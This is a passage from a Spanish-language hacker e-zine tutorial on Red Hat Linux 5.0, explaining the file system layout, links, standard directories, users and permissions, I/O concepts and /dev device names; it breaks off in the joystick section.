Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
.
Esta de mas decir que cualquier duda, consulta, etc. a mi correo.
Good Hack
Good bye
Good night
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 06. Descubriendo Linux Red Hat 5.0 ::--..
by Mr. Nuk3m
[NdE: Continuamos con la segunda entrega de este enooooorme articulo sobre
RedHat :) ]
2. Estructura General Del Sistema De Archivos
2.1 Sistema De Archivos
2.1.1 Nombres de archivos
2.1.2 Atributos de los archivos
2.1.3 Directorios
2.1.4 Estructura del sistema de archivos
2.1.5 Rutas dentro del sistema de archivos
2.1.6 Los "links" y los archivos
2.2 Estructura General De Un Sistema De Archivos Linux
3. Usuarios, Permisos y Grupos
3.1 Permisos de acceso
3.2 Directorio "home" y permisos predefinidos
4. Dispositivos De Entrada-Salida
4.1 Conceptos Fundamentales
4.1.1 Puertos de entrada-salida
4.1.2 Iterrupciones e IRQ's
4.1.3 Accesos Directos a Memoria (DMA)
4.2 Tratamiento de los dispositivos en Linux
4.2.1 Archivos de los dispositivos mas comunes
CAPITULO 2
ESTRUCTURA GENERAL DEL SISTEMA DE ARCHIVOS
2.1 SISTEMA DE ARCHIVOS
La parte del sistema operativo que fija como los archivos son estructurados,
nombrados, accesidos, usados, protegidos e implementados se conoce como
"Sistema de Archivos".
Desde el punto de vista del usuario, el aspecto mas importante de un sistema
de archivos es la estructura que refleja el sistema de archivos, que
constituye un archivo, como los archivos se nombran y se protegen, que
operaciones estan permitidas sobre los archivos, etc.
2.1.1 NOMBRES DE ARCHIVOS
Las reglas exactas para nombrar archivos, varian de sistema en sistema. En
el caso de Unix es posible tener nombres de archivos de hasta 255 caracteres.
Por lo tanto los siguientes nombres son totalmente validos:
Tony, reporte, README.TXT, ls, cp, Resultados de la primera Fecha - Basket
Una caracteristica importante a tener en cuenta es que en Unix/Linux cae en
la categoria de sistemas que distinguen entre letras minusculas y letras
mayusculas, es decir que es "case-sensitive". Por lo tanto se consideraran
como archivos distintos los siguientes nombres:
tony, Tony, TONY, tONY
Muchos sistemas operativos dividen el nombre de un archivo en dos partes que
se separan por un punto. La parte que se encuentra despues del punto se
llama "extension". En MS-DOS, por ejemplo, los nombres de los archivos deben
formarse con un nombre de 1 a 8 caracteres, con una extension opcional de 1
a 3 caracteres. En Linux la extension es opcional y puede tener la cantidad
de caracteres que el usuario quiera. Asimismo es posible definir archivos
con dos o mas extensiones. Ejemplos:
README.linux, linux-2.2.5.tar.gz
En Linux no existe ninguna restriccion en las extensiones de los archivos
que implique la asociacion del mismo con ciertas operaciones. En MS-DOS, por
ejemplo, solo es posible ejecutar archivos con las extensiones .BAT, .EXE,
.COM. En Linux para poder ejecutar un archivo se imponen otro tipo de
restricciones que seran tratadas mas adelante.
Sin embargo, algunos programas o utilidades exigiran ciertas extensiones en
los archivos sobre los cuales se quiera trabajar. Por ejemplo el compilador
de C de distribucion libre que viene con las distribuciones Linux, llamado
gcc (GNU C Compiler), insistira en que los archivos fuente tengan extension
.c al final del nombre del archivo. Hay que tener en cuenta que esto no es
una restriccion impuesta por el S.O. sino que es el programa el que exige
este tratamiento.
2.1.2 ATRIBUTOS DE LOS ARCHIVOS
Los principales atributos de los archivos en Linux tienen que ver con sus
permisos de acceso, su propietario, grupo al que pertenece (todos estos
conceptos se trataran mas adelante), su tama~o en bloques, y su ultima
fecha de modificacion.
En el sistema MS-DOS, los archivos ocultos se identificaban con un atributo
llamado HIDDEN. En Linux, en cambio, no existe ningun atributo especial para
determinar cuando un archivo es oculto. La distincion se realiza sobre el
nombre de archivo. Los nombres de los archivos que comienzan con un punto
son considerados archivos ocultos. Ejemplos:
.Xclients, .bash_history, .emacs
2.1.3 DIRECTORIOS
Con respecto a los directorios y sus nombres y sus atributos, todo lo dicho
antes para los archivos se aplica de igual manera para los directorios, ya
que en Linux son a su vez archivos normales.
La estructura de directorios de la mayoria de los sistemas es una estructura
de arbol. Esto quiere decir que se tiene un directorio raiz, el cual a su
vez puede tener varios subdirectorios y asi sucesivamente.
Linux Fue desarrollado con el objetivo de ser multiusuario y de su alta
integracion en redes, por lo que uno de los objetivos fundamentales fue el
hacer posible el trabajo en grupos y compartir informacion. Con el modelo de
directorios en forma de arbol es imposible permitir que se comparta
informacion entre varios usuarios, por eso Linux fue mas alla y baso su
sistema de archivos en la estructura de grafo aciclico (FIGURA 2.1) que es
una generalizacion natural del del esquema de directorios jerarquico.
2.1.4. ESTRUCTURA DEL SISTEMA DE ARCHIVOS
En sistemas como MS-DOS las distintas unidades de disco, CD-ROM, disco
flexible, etc., se manipulan con una estructura de directorios propia. Esto
quiere decir que cada unidad tiene un directorio raiz y una estructura de
subdirectorios determinada. Para diferenciar las distintas unidades se les
asigna una letra a cada una de ellas. Asi tenemos la unidad A, la unidad C,
etc.
En Linux, esta estructura definitivamente no es adecuada porque trae muchos
problemas de mantenimiento. Mas aun, es totalmente inaplicable en los
sistemas de archivos de red como lo son NFS, SMB, etc. El hecho de fijar a
cada una de las unidades una letra que debe mantenerse para siempre -o todos
los programas perderan las referencias de nombres- es una limitacion muy
grande en un sistema tan flexible como Linux :)
2.1 SISTEMAS DE ARCHIVOS
________________________
| Tony | Juan | README |
/-----------\-----------\
/ \ \-----\
____________/_________ _\_____________ \
| mail | TODO | prog | | prog | mail | @
/---------/------|---- -/---------\---
/ / | / \
/ / ___|__________/____________ \
/ / / | / \ \
/ / | _|________/___________ | @
@ @ | | mod1 | mod2 | exec | |
\_ ---|------|------|---- _/
\ | | | _/ <-----_
\_ | | | _/ |
\-|------|------|--/ Estos directorios
| | | estan compartidos por
| | | los usuarios Tony y
@ @ @ Juan.
FIGURA 2.1: ESTRUCTURA DE SISTEMA DE ARCHIVOS ACICLICA. EJEMPLO DE UN
DIRECTORIO COMPARTIDO.
Para solucionar esto, Linux utiliza el concepto de particion raiz y sistemas
de archivos montados sobre la particion raiz. Esto significa que todas las
unidades utilizaran una estructura de directorios comun. Asi no existiran
varias unidades y una estructura de directorios por unidad, sino que
existira una unica estructura de directorios y sobre ella se acomodaran las
distintas unidades, inclusive las que se comparten en redes.
La particion raiz es llamada "/" y es el directorio principal de la
estructura. Las unidades, antes de poder ser usadas, deben ser montadas en
el sistema de archivos. Para ello debe existir un "punto de montaje" donde
alojar la informacion de la unidad. Un punto de montaje no es mas que un
directorio cualquiera dentro del sistema de archivos, que debe encontrarse
vacio.
_______________________
| mnt | Tony | README |
--/------|---------\--
/ \ \______
___/__ __\____________ \
| | | prog | mail | @
------ ------------\--
\
\
____________________ @
| mod1 | mod2 | exec |
--|------|------|---
| | |
| | |
@ @ @
FIGURA 2.2: EJEMPLO DE MONTAJE DE UNA UNIDAD. ESTADO DEL SISTEMA DE ARCHIVOS
PREVIO AL MONTAJE.
_______________________
/ | mnt | Tony | README |
--/------|----------\--
/ \ \______
______________/__ __\____________ \
| part1 | part2 | | prog | mail | @
--/--------/----- -------------\-
/ / \
/ / \
@ @ ____________________@
| mod1 | mod2 | exec |
--|------|------|---
| | |
| | |
@ @ @
FIGURA 2.3: EJEMPLO DE MONTAJE DE UNA UNIDAD. ESTADO DEL SISTEMA UNA VEZ
REALIZADO EL MONTAJE.
Veamos un ejemplo de montaje de una unidad en Linux. El estado del sistema
de archivos antes de montar la unidad es el que muestra la figura 2.2.
Supongamos que queremos montar un disquettes que posee dos archivos llamados
"part1" y "part2" en el punto de montaje dado por el directorio "/mnt". El
directorio esta vacio, por lo que no hay ningun problema. El estado del
sistema de archivos despues de realizar el montaje se muestra en la figura
2.3.
Una vez que se monta la unidad dentro del sistema de archivos se puede
utilizar como si fuese cualquier directorio dentro de la estructura. La
unica diferencia es la forma en la que se accede a los datos, ya que un
directorio dentro del sistema de archivos puede corresponder a una particion
del disco rigido, un disquette, un CD-ROM o una unidad de red que se
encuentra en otra maquina. Afortunadamente, el sistema se ocupara de tratar
con el dispositivo que corresponda, de la forma adecuada, para obtener y
guardar la informacion. El tratamiento que Linux aplica a cada directorio
del sistema de archivos se realiza de forma totalmente transparente para el
usuario :)
Esta forma de tratar las unidades trae, por supuesto, muchas ventajas. La
belleza de los sistemas de archivos montados, por sobre las unidades
basadas en letras, recae en la transparencia. Uno puede agregar unidades al
sistema sin romper las referencias de las aplicaciones existentes.
En el modelo de las unidades con letras, cada vez que se agregan unidades al
sistema, cambian las letras de las unidades. Asi la mayoria del software y
algunos S.O. se confunden cuando esto pasa. Tipicamente se termina teniendo
que reinstalar los programas cada vez que se mueve algun disco de lugar.
Este juego se vuelve ridiculo cuando se utilizan unidades de red.
En Linux los sistemas de archivos de red, estan designados desde un
principio con el objetivo de la transparencia. Asi se pueden mover archivos
y aplicaciones de una maquina a otra en la red y ser compartidos ya que sus
puntos de montaje no tienen porque cambiar.
Lo que puede resultar incomodo es el hecho de tener que montar las unidades
antes de usarlas. Esto es verdad, pero solo con las unidades extraibles
(unidades de discos flexibles, o CD-ROM's), ya que las unidades fijas
(discos rigidos, unidades de red, etc.) se configuran para que se monten
automaticamente.
2.1.5 RUTAS DENTRO DEL SISTEMA DE ARCHIVOS
Las rutas (PATH) se utilizan para referirse a determinados directorios o
archivos dentro del sistema de archivos. Ya hablamos del directorio raiz
del sistema, el cual es llamado "/". Dentro de este se pueden crear otros
directorios y archivos. Por ejemplo, si creamos un archivo llamado "Come As
You Are.mp3" en el directorio raiz, entonces para referirnos a el tenderemos
que especificar la siguiente ruta: /Come As you Are.mp3. Si creamos un
directorio llamado "home" nos referiremos a el como /home o /home/. Esto es
posible porque es un directorio.
Generalizando, podemos encontrar encontrar un directorio llamado "linux"
que se encuentra dentro del directorio "src" que a su vez se encuentra
dentro del directorio "usr" que es un subdirectorio del directorio raiz. La
ruta adecuada sera: /usr/src/linux.
Las rutas no siempre se estructuran de esa manera. Todos los ejemplos dados
en el parrafo anterior corresponden a "rutas absolutas". Esto quiere decir
que son rutas completas, ya que marcan el camino desde el directorio raiz
hasta el archivo o directorio deseado. Tambien es posible utilizar "rutas
relativas". Las rutas relativas se construyen dependiendo del punto en el
sistema de archivos donde nos encontramos ya que en cada momento nos
encontramos en un cierto punto del sistema de archivos (el directorio
actual o el de trabajo) y podemos cambiar de directorio, desplazandonos en
la jerarquia. Toda ruta que comience con una barra ("/") es considerada una
ruta absoluta, toda otra ruta es considerada ruta relativa.
_______________________
| mnt | Tony | README |
--/------|----------\--
/ \ \______
/ __\____________ \
@ | prog | mail | @
-------------\-
\
\
____________________ \
| mod1 | mod2 | exec | _\_______________
---|------|------|--- | mess | attach |
| | | ---|-------|-----
| | | | |
@ @ @ @ @
FIGURA 2.4: EJEMPLO DE RUTAS RELATIVAS. ARBOL DE DIRECTORIOS
Como ejemplo de rutas relativas consideremos la estructura del sistema de
archivos que muestra la figura 2.4, pueden darse las siguientes situaciones:
* Si nos encontramos en el directorio /, entonces la ruta Tony/mail/attach
se refiere al archivo attach que se encuentra dentro del directorio mail
que es un subdirectorio del directorio Tony. Facil :)
* Si nos en el directorio /Tony/mail entonces las rutas ./attach y attach
ambas se refieren al mismo archivo de los ejemplos anteriores. Tambien
Facil :))
* Si nos encontramos en el directorio Tony/prog, entonces la ruta
../mail/attach se refiere al mismo archivo que el ejemplo anterior. Un
poco mas dificil :|
* Si el directorio en el que nos encontramos es Tony/prog entonces la ruta
../../README se refiere al archivo README que se encuentra en el
directorio raiza. Muy dificil ;(
HARD LINKS
Los "hard links" (links "duros") son links directos al inodo ( no INODORO )
del archivo y nos permiten tener mas de un archivo apuntando al mismo inodo.
Desde un punto de vista practico dos archivos con el mismo inodo son el
mismo archivo. Los cambios realizados sobre un archivo seran reflejados en
el otro y viceversa. Lo unico que hay que tener en cuenta es que para borrar
un archivo del sistema de archivos hay que borrar todos los hard links que
el mismo posea. Por ejemplo, si el archivo doc1.tex es un hard link al
archivo ejemplo1.tex, al borrar el ultimo no estamos borrando el primero.
Para borrar definitivamente el archivo hay que borrar tambien el archivo
doc1.tex. La unica restriccion que poseen los hard links es que solo pueden
definirse dentro de un sistema de archivos, porque los inodos son unicos
internamente a un sistema de archivos.
Los directorios "." y ".." son hard links y estan presentes en todos los
directorios del sistema de archivos. El primero es un hard link al mismo
directorio y el segundo apunta al directorio padre. En particular la entrada
".." en el directorio "/" apunta a si mismo; es decir que el padre del
directorio raiz es el mismo.
LINKS SIMBOLICOS
Los links simbolicos son otro tipo de links que tambien permiten darles
varios nombres a un archivo pero no asocian a los archivos por numeros de
inodo. Por esto los links simbolicos no tienen la restriccion de tener que
permanecer al mismo sistema de archivos y pueden referenciar archivos entre
sistemas de archivos. Esto quiere decir que un link simbolico tiene su
propio numero de inodo pero apunta a otro archivo.
Funcionalmente, los hard links y los links simbolicos son similares, aunque
tiene algunas diferencias. Por ejemplo, se pueden crear links simbolicos a
archivos que no existen, esto no es posible con los hard links.
2.2 ESTRUCTURA GENERAL DE UN SISTEMA DE ARCHIVOS LINUX
En un sistema de archivos Linux encontraremos los siguientes directorios
importantes que forman parte del sistema y tiene funciones particulares:
/bin Archivos binarios o ejecutables. Aqui encontraremos los comandos mas
utilizados. Los comandos que se encuentren en este directorio pueden
ser ejecutados por todos los usuarios del sistema.
/dev Archivos que representan los dispositivos del sistema.
/etc Archivos de configuracion y pesonalizacion del sistema. Solo pueden
ser modificados por el superusuario (ROOT).
/sbin Ordenes ejecutables solo por el superusuario.
/home Directorio donde se crean los directorios home de los usuarios del
sistema.
/lib Librerias escenciales del sistema.
/proc Es una estructura virtual de archivos utilizada por el kernel para
mostrar la informacion del sistema y su configuracion. A traves del
mismo es posible ver la informacion de las interrupciones, puertos
de entrada/salida, uso del CPU, memoria, particiones, modulos, asi
como la informacion de cada proceso en particular y de los distintos
dispositivos instalados en el sistema.
/tmp Directorio que se utiliza como almacenamiento de archivos temporales.
/var Informacion de la historia del sistema. Se guardan los mensajes que
los procesos realizan al ejecutarse, informacion de debug, archivos a
imprimir, mensajes de correo a ser distribuidos, etc.
/boot Archivos e informacion necesaria para el arranque del sistema.
/usr Programas, herramientas y utilidades instaladas en el sistema como
extension del S.O.
/usr/bin Binarios y ejecutables de los programas agregados al sistema.
/usr/src Codigo fuente de los programas.
/usr/src/linux Codigo fuente del kernel del sistema.
/usr/man Manuales de los comandos del sistema y de los programas agregados
/usr/X11 Archivos del sistema de ventanas X Windows.
/usr/X11/bin Archivos ejecutables del sistema de ventanas.
/usr/local Software agregado localmente al S.O. En este directorio se
suele instalar todo el software que agregamos luego de realizar
la instalacion.
CAPITULO 3
USUARIOS, PERMISOS Y GRUPOS
El sistema operativo Linux es un sistema multiusuario. Esto quiere decir que
un numero cualquiera de personas pueden trabajar en el sistema, ya sea de
forma simultanea o no. Para comenzar a trabajar en el sistema Linux es
necesario iniciar una sesion, esto quiere decir que el sistema nos
preguntara el nombre de usuario con el cual queremos iniciar la sesion. Este
proceso se conoce como LOG IN.
Para que el sistema se asegure que la persona que intenta inciar una sesion
corresponde al usuario indicado se asocio una contrase~a (PASSWORD) con cada
nombre de usuario. La contrase~a solamente la debe conocer el usuario
propietario de la cuenta.
Como parte del proceso de inicio de sesion se debe ingresar la contrase~a
apropiada, la cual sera encriptada por el sistema inmediatamente y chequeada
contra la base de datos de contrase~as y guardada en el sistema. Este
proceso se conoce como autenticacion del usuario. Si la contrase~a es
chequeada satisfactoriamente entonces el usuario comienza su sesion en el
sistema. De otra forma se rechaza la solicitud de comienzo de sesion.
Para que este esquema de autenticacion funcione, es necesario que exista una
forma de crear cuentas de usuario y de asociarles sus respectivas
contrase~as, y ademas no se debe permitir a cualquier usuario que pueda
realizar estas tareas. Para solucionar estos y otros problemas de seguridad,
Linux posee una cuenta predefinida llamada "root". Esta es la cuenta del
superusuario, y es el unico usuario que esta autorizado a crear cuentas,
asignarles contrase~as y eliminarlas si es necesario. Estos no son los
unicos permisos que posee esta cuenta; en realidad en una sesion iniciada
como el superusuario, root, es posible realizar todas las operaciones
necesarias para la administracion del sistema.
El esquema de autenticacion de usuarios es necesario pero no suficiente. El
hecho de que Linux utilice la estructura de un unico sistema de archivos y
de que sea un sistema multiusuario hacen que sea indispensable un sistema de
permisos aplicable sobre los usuarios para con los archivos. Imaginemos un
entorno en el cual no existieran permisos sobre los archivos y existieran
multiples usuarios. Facilmente un usuario podria leer, modificar e incluso
borrar archivos de otro usuario, o podrian darse otras situaciones
indeseables para con la seguridad del sistema. Para evitar esto Linux
establece un mecanismo de proteccion de archivos que funciona mediante
permisos y grupos.
Anteriormente, cuando hablamos de los atributos de un archivo, mencionamos
que un archivo tiene asociado un usuario y un grupo. Estos atributos
establecen quien es el usuario due~o del archivo y a que grupo de usuarios
pertenece. Los grupos son conjuntos de usuarios que tambien son definidos
por el superusuario como parte de la administracion del sistema y sirven
para agrupar a varios usuarios con caracteristicas de acceso al sistema
similares. El concepto de grupos de usuario facilita enormemente la tarea de
administrar los permisos en sistemas con gran cantidad de usuarios.
3.1 PERMISOS DE ACCESO
Ademas de los atributos de usuario y grupo, un archivo tiene asociados
"permisos de acceso" que determinan las operaciones que son permitidas sobre
el mismo por parte de cada usuario. Los permisos de un archivo se dividen en
tres partes:
* DUE¥O: El usuario que creo el archivo es el due~o del mismo. El due~o es
determinado por el atributo del archivo que especifica quien es el
due~o.
* GRUPO: El conjunto de usuarios que comparten el archivo y necesitan
permisos de acceso similares. El grupo sobre el cual recaen estos
permisos es el grupo al cual pertenecen el archivo como lo
determina el atributo de grupo.
* OTROS (Universo): El universo se constituye de todos los demas usuarios
que no son ni due~os del archivo ni pertenecen al grupo
del archivo.
Dentro de cada categoria, los permisos se dividen en tres grupos: leer,
ecribir y ejecutar.
PERMISO DE LECTURA: Deja a un usuario ver el contenido de un archivo o, en
el caso de los directorios poder listar su contenido.
PERMISO DE ESCRITURA: Permite escribir en los archivos o modificar su
contenido. En el caso de los directorios permite
crear nuevos archivos o borrar archivos del
directorio.
PERMISO DE EJECUCION: Deja que el usuario pueda ejecutar el archivo, ya sea
como un programa o como un script de comandos. El
permiso de ejecucion sobre un directorio nos permite
cambiar el directorio de trabajo.
Este mecanismo de permisos nos garantiza seguridad y simultaneamente nos
permite compartir archivos con grupos de usuarios. Pero para que este
esquema funcione adecuadamente, la pertenencia a los grupos debe ser
controlada rigidamente por el administrador del sistema.
Los permisos asociados con un archivo dependen tambien de los permisos que
tenga asignado el directorio donde se encuentra el archivo. Por ejemplo, si
un usuario tiene permisos de lectura y escritura sobre un archivo pero no
tiene permiso de lectura ni de ejecucion sobre el directorio en el cual se
encuentra el archivo, entonces no podra leer ni escribir el archivo.
Generalizando, para poder acceder a un archivo es necesario tener permiso de
ejecucion en todos los directorios que forman parte de la ruta del archivo,
ademas del permiso adecuado sobre el archivo.
3.2 DIRECTORIO "HOME" Y PERMISOS PREDEFINIDOS
Cuando el administrador del sistema crea una cuenta, crea ademas un
directorio, el cual sera propiedad del usuario que solicito la cuenta. Este
directorio es llamado "directorio home" y constituye el lugar en el sistema
de archivos donde el usuario puede guardar sus archivos. El usuario tiene un
control total sobre los permisos de su directorio home. El acceso del
usuario a otros directorios estara regido por los permisos correspondientes.
Cuando un usuario inicia una sesion en el sistema, su directorio de trabajo
es su directorio home.
Al crear un nuevo archivo o directorio, el sistema asigna una combinacion de
permisos predeterminada. Los permisos predefinidos para los archivo son: de
lectura y escritura para el due~o y de lectura y ejecucion para el universo.
Para los directorios son: de lectura, escritura y ejecucion para el due~o y
de lectura y ejecucion para el grupo y para el universo (otros usuarios).
En cualquier momento, el usuario que es due~o del archivo o directorio puede
cambiar sus permisos para gestar la combinacion que desee.
CAPITULO 4
DISPOSITIVOS DE ENTRADA/SALIDA
4.1 CONCEPTOS FUNDAMENTALES
Los dispositivos de entrada/salida utilizados en las computadoras pueden ser
divididos, esencialmente, en dos categorias: dispositivos de bloques y
dispositivos de caracter.
Un dispositivo de bloque se caracteriza por guardar la informacion en
bloques de tama~o fijo, cada uno con su direccion. Los tama~os de bloques
mas comunes se encuentran en el rango de 512 bytes a 32768 bytes (32 Kb). La
propiedad esencial de los dispositivos de bloque es que es posible leer o
escribir cada bloque independientemente de todos los demas. Los "discos" son
los dispositivos de bloque mas comunes.
El otro tipo de dispositivos de entrada/salida es el dispositivo de caracter
Un dispositivo de caracter envia o acepta secuencias de carateres sin
relacion a una estructura de bloque. No tiene direccionamiento y por lo
tanto no tiene ninguna estructura mecanica interna para realizar
posicionamientos. Los siguientes dispositivos pueden ser vistos como
dispositivos de carater: impresoras, ratones, interfaces de red, etc.
Este esquema de clasificacion no es perfecto. Algunos dispositivos son
dificiles de clasificar en estas categorias. Sin embargo, para fines
practicos esta clasificacion nos sera suficiente.
A continuacion se describen conceptos esenciales para el tratamiento y
configuracion de los dispositivos de entrada/salida. Estos conceptos son
importantes a la hora de instalar cualquier dispositivo sobre Linux y
determinan el exito o el fracaso de la instalacion y el correcto
funcionamiento del dispositivo.
4.1.1 PUERTOS DE ENTRADA/SALIDA
Asi como el sistema accede a memoria, tanto para lectura como escritura,
debe poder acceder a los dispositivos de entrada/salida. En las maquinas
basadas en las arquitecturas Intel 80x86 existe un espacio de direccionado
para la memoria y otro separado para los dispositivos. Este esquema es
conocido como espaciado separado de direcciones de entrada/salida o espacio
de entrada/salida.
Los puertos de entrada/salida son direcciones mediante las cuales el
procesador se comunica con los dispositivos, ya sea leyendo datos o
escribiendolos. Un dispositivo puede tener asignadas una o mas direcciones
dentro del espacio, de acuerdo a cuantas necesite.
4.1.2 INTERRUPCIONES E IRQ'S
La velocidad con la que los dispositivos trabajan es, en general, ordenes de
magnitud mas lenta que la velocidad de proceso de la unidad central de
procesamiento (CPU). Cuando el CPU necesita comunicarse con un dispositivo,
inicia la operacion y, en vez de esperar a que el dispositivo termine, sigue
realizando tareas, aprovechando el tiempo. Asi el dispositivo debe poder
comunicarle al CPU que la operacion de entrada/salida finalizo o que
necesita algun tipo de informacion para continuar. Aqui es donde entran en
juego las interrupciones.
Una interrupcion es una se~al electronica que se emite desde un dispositivo
hacia el CPU para comunicarle informacion que permite controlarlo. Para
emitor las interrupciones existen lineas de pedido de interrupcion
(Interrupt ReQuest Lines) donde cada dispositivo situa los pedidos de
interrupcion.
Las arquitecturas Intel 80x86 proveen 15 lineas de interrupcion para los
dispositivos de entrada/salida. Cada dispositivo debe utilizar una y solo
una de estas lineas, porque sino existen altos riesgos de conflictos en la
atencion de las interrupciones.
NOTA: Una caracteristica especial de la arquitectura de las IBM PC's es que
algunos dispositivos trabajan con puertos de entrada salida e
interrupciones prefijadas. Por ejemplo: el primer puerto serie,
conocido como COM1, trabaja en el puerto 0x3f8. Otro ejemplo es la
unidad de discos flexibles que trabaja sobre la linea de pedido de
interrupcion numero 6.
4.1.3 ACCESOS DIRECTOS A MEMORIA (DMA)
Hay veces que los controladores de los dispositivos necesitan leer o
escribir grandes cantidades de datos desde o hacia la memoria del sistema.
En estos casos se utilzan los accesos directos a memoria (Direct Memory
Access). Estos sirven para permitir que los dispositivos accedan
directamente a memoria, pero esto se realiza bajo estricto control del CPU.
4.2 TRATAMIENTO DE LOS DISPOSITIVOS EN LINUX
En los S.O. de la famila UNIX todos los dispositivos de entrada/salida son
tratados como archivos que forman parte del sistema de archivos. En general
estos archivos se encuentran en el directorio /dev, pero esto puede depender
del sistema.
Estos archivos, llamados "archivos de dispositivos", son creados por el
nucleo y son indespensables para el funcionamiento del sistema. Uno de los
principales objetivos es manejar los dispositivos como archivos es que se
abstrae y simplifica el tratamiento de los mismos para el usuario. Los
archivos especiales de dispositivos se manejan con las mismas operaciones
que se realizan sobre los archivos comunes, pero al tratarse de un archivo
de dispositivo el sistema se encarga de realizar las tareas necesarias para
comunicarse con el dispositivo. Esto se realiza por medio de un "manejador
de dispositivo" que forma parte del nucleo y conoce los detalles de como
tratar con el dispositivo en cuestion.
Otra de las ventajas de este esquema de tratamiento de dispositivos es que
se pueden fijar permisos sobre los dispositivos utilizando el esquema de
usuarios, grupos y permisos ya analizado. De esta forma, podremos hacer que
un grupo de usuarios pueda usar una impresora, que otro grupo pueda usar una
red, o inclusive denegar el acceso a un disco a un usuario determinado, etc.
Los archivos de dispositivos tienen un atributo especial que determina si
son archivos de dispositivos de bloque o de caracter. Esto es necesario
para que el sistema sepa como tratar a cada uno.
Como es posible que existan varios dispositivos de entrada/salida de las
mismas caracteristicas (podemos tener varios discos, varias placa de red,
etc.) se crean grupos de usuarios para cada clase de dispositivo y hace
que los archivos pertenezcan a esos grupos. Por ejemplo: todos los
dispositivos de disco del sistema son archivos que pertenecen al grupo
"disk, etc."
4.2.1 ARCHIVOS DE LOS DISPOSITIVOS MAS COMUNES
* DISCOS MFM, RLL O IDE (EIDE): La interfaz IDE en Linux soporta hasta 6
interfases con soporte para dos discos cada una. Se denominan primaria,
secundaria, terciaria, etc. y a los discos se los denomina maestro y
esclavo. Tenemos un maestro y un esclavo por cada interfaz. Sus nombres
son:
|-----------------------|------------------------|
| Interfaz | Archivo de dispositivo |
|-----------------------|------------------------|
| Primaria - Maestro | /dev/hda |
| Primaria - Esclavo | /dev/hdb |
| Secundaria - Maestro | /dev/hdc |
| Secundaria - Esclavo | /dev/hdd |
| ... | ... |
|_______________________|________________________|
NOTA: Si uno de los lugares en las interfases es ocupado por un
CD-ROM, se le asigna un archivo correspondiente a la interfaz,
pero ademas se crea un link simbolico llamado /dev/cdrom que
apunta a la interfaz que corresponda al CD-ROM.
* DISCOS SCSI: Linux tiene soporte para 128 discos SCSI y sus archivos son:
|-----------------|------------------------|
| Numero de disco | Archivo de dispositivo |
|-----------------|------------------------|
| Disco SCSI 1 | /dev/sda |
| Disco SCSI 2 | /dev/sdb |
| ... | ... |
| Disco SCSI 26 | /dev/sdz |
|-----------------|------------------------|
| Disco SCSI 27 | /dev/sdaa |
|-----------------|------------------------|
| Disco SCSI 28 | /dev/sdab |
|-----------------|------------------------|
| ... | ... |
| Disco SCSI 128 | /dev/sddx |
|_________________|________________________|
* PARTICIONES: Cada disco puede estar particionado. Para referirnos a las
particiones solo agregamos el numero de la particion correspondiente, al
nombre del archivo que representa el disco. Los nombres se forman de la
siguiente forma: /dev/hd?n y /dev/sd?n reemplazando por "?" la letra del
disco adecuado y por "n" el numero de particion correspondiente.
NOTA: En particiones del estilo MS-DOS (tipicamente usadas por Linux
en sistemas i386) los numeros del 1 al 4 representan particiones
primarias y del 5 en adelante particiones logicas.
* UNIDADES DE DISQUETTES: Se soportan dos controladoras de unidades de
disquettes con hasta 4 unidades por controladora.
|----------------------------|------------------------|
| Controladora - Disquettera | Archivo de dispositivo |
|----------------------------|------------------------|
| Controladora 1 - Unidad 1 | /dev/fd0 |
| " - " 2 | /dev/fd1 |
| " - " 3 | /dev/fd2 |
| " - " 4 | /dev/fd3 |
| " 2 " 1 | /dev/fd4 |
| " " " 2 | /dev/fd5 |
| " " " 3 | /dev/fd6 |
| " " " 4 | /dev/fd7 |
|____________________________|________________________|
* CONSOLAS VIRTUALES: Son 64 consolas y se nombran /dev/ttyn donde "n" es
el numero de la consola virtual correspondiente.
* PUERTOS SERIE, MODEMS Y MOUSES: Se tiene soporte para 64 puertos serie y
se nombran como /dev/ttySn donde, de nuevo, "n" es el numero del puerto.
NOTA: En sistemas basados en MS-DOS los puertos serie se nombran
COM1, COM2, etc La correspondencia de esos puertos con los de Linux
es la siguiente:
________________________________
| MS-DOS | Linux |
|-------------|----------------|
| COM1 | /dev/ttyS0 |
| COM2 | /dev/ttyS1 |
| COM3 | /dev/ttyS2 |
| COM4 | /dev/ttyS3 |
|_____________|________________|
Los dispositivos de puertos serie pueden ser utilizados, entre otros
dispositivos, por puertos serie fisicos o por modems. Si el modem es
externo, entonces se conecta a uno de los puertos serie y se crea un
link simbolico /dev/modem que apunte al puerto serie fisico
correspondiente. Si el modem es interno entonces utilizara uno de
los puertos que se encuentren disponibles (que no esten utilizados
por puertos serie fisicos) y el link simbolico debera apuntar al
puerto "logico" que se utilice.
Si se utiliza un mouse serial entonces se crea un link simbolico
/dev/mouse que apunta al puerto serie en el cual esta conectado el
mouse. Si no se utiliza un mouse serial entonces se pueden utilizar
los siguientes dispositivos, dependiendo del tipo del mouse:
|-------------------------------|------------------------|
| Mouse | Archivo de dispositivo |
|-------------------------------|------------------------|
| Mouse PS/2 | /dev/psaux |
| Mouse Logitech de bus | /dev/logibm |
| Microsoft InPort mouse de bus | /dev/inportbm |
| Ati XL mouse de bus | /dev/atibm |
| Mouse Atari | /dev/atarimouse |
| Mouse Sun | /dev/sunmouse |
| Mouse Amiga | /dev/amigamouse |
|_______________________________|________________________|
* PUERTOS PARALELOS: Pueden ser 3 y sus nombres son los siguientes:
|--------------------------------|------------------------|
| Puerto paralelo | Archivo de dispositivo |
|--------------------------------|------------------------|
| Primer puerto paralelo (0x3BC) | /dev/lp0 |
| " " " (0x378) | /dev/lp1 |
| " " " (0x278) | /dev/lp2 |
|________________________________|________________________|
* TECLADO: El teclado se maneja con el dispositivo /dev/kbd
* PLACAS DE SONIDO: Los dispositivos relacionados con las placas de sonido
son los siguientes:
|-----------------------------------------------|------------------------|
| Dispositivo | Archivo de dispositivo |
|-----------------------------------------------|------------------------|
| Control de mezcladora | /dev/mixer |
| Secuenciador de audio | /dev/sequencer |
| Puertos midi | /dev/midinn4 |
| Audio digital | /dev/dsp5 |
| Audio digital compatible con formato SUN | /dev/audio |
| Informacion del estado de la placa de sonidos | /dev/sndstat |
|_______________________________________________|________________________|
* JOYSTICK: Los dispositivos de joystick se nombran /dev/jsn, para los
